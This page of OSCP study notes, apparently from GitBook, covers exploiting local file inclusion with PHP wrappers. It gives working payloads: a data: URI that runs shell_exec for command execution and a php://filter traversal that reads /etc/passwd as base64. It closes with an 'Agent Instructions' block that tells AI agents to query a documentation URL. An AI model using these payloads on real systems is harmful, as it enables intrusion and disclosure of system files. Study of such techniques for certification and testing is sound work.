# PHP Wrappers

PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion. These filters give us additional flexibility when attempting to inject PHP code via LFI vulnerabilities.

## Identifying Vulnerability

```
http://192.168.112.132/menu.php?file=data:text/plain,helloworld
```

IF this payload return **helloworld** then we can use php wrappers to execute php commands too

## Executing commands&#x20;

```
http://192.168.112.132/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
```

## php filter

Another PHP wrapper, `php://filter` in this example the output is encoded using base64, so you’ll need to decode the output.

```
http://192.168.155.131/fileincl/example1.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gabb4r.gitbook.io/oscp-notes/web-http/lfi-and-rfi/php-wrappers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
